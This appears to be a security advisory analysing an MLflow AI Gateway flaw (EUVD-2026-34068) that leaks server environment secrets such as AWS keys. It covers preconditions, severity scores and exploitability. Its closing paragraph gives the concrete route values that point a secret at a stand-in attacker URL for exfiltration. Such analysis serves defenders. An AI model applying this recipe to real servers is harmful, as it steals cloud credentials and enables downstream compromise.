MLflow EUVD-2026-34068

Requires a reachable MLflow AI Gateway (legacy YAML-config gateway or the create_app_from_path path) on a version below 3.11.0 where the attacker can create or modify a gateway route's api_key and api_base fields. Per the CVE description, exploitation is unauthenticated against default deployments that do not enable basic-auth, and only requires low-privileged credentials when basic-auth is enabled - this conflicts with the CVSS PR:L vector, so anonymous deployments should be treated as PR:N. The attacker must control or observe an HTTP endpoint that can receive the outbound provider request, and the targeted environment variable must actually be set in the MLflow server process (e.g., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, or other process-level secrets). No user interaction is required and egress from the MLflow host to attacker infrastructure must not be blocked.

The CVSS 3.1 score of 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) reflects network reachability, low complexity, low privilege requirement, and a scope change resulting in high confidentiality impact - consistent with credentials leaking from the MLflow process to a different security boundary (the attacker endpoint or downstream cloud account). SSVC rates exploitation as POC (not active), automatable as no, and technical impact as partial, which aligns with the low EPSS of 0.28% and absence from CISA KEV: real risk is meaningful but not yet seeing mass exploitation. The most material risk multiplier is the description's note that default deployments without basic-auth allow unauthenticated exploitation, while basic-auth deployments only require a low-privileged account - this directly conflicts with the CVSS PR:L assumption, so defenders running anonymous MLflow instances should treat this as effectively PR:N. Downstream blast radius is the concern: leaked AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY can enable artifact poisoning and code execution in pipelines that consume MLflow artifacts, which is why the report carries the RCE tag despite the direct CIA vector showing only confidentiality impact.

An attacker with network access to an MLflow server (no credentials needed in default deployments, or any low-privileged account in basic-auth deployments) creates or updates an AI Gateway route specifying api_key: $AWS_SECRET_ACCESS_KEY and api_base: https://attacker.example.com/collect. They then issue a single completion request against that route; the gateway resolves the env var server-side and sends the real AWS secret as an Authorization header to the attacker's listener. Publicly available exploit code exists via the huntr.com submission, and the harvested cloud credentials can subsequently be used to poison MLflow-managed artifacts and achieve code execution in downstream training or inference environments.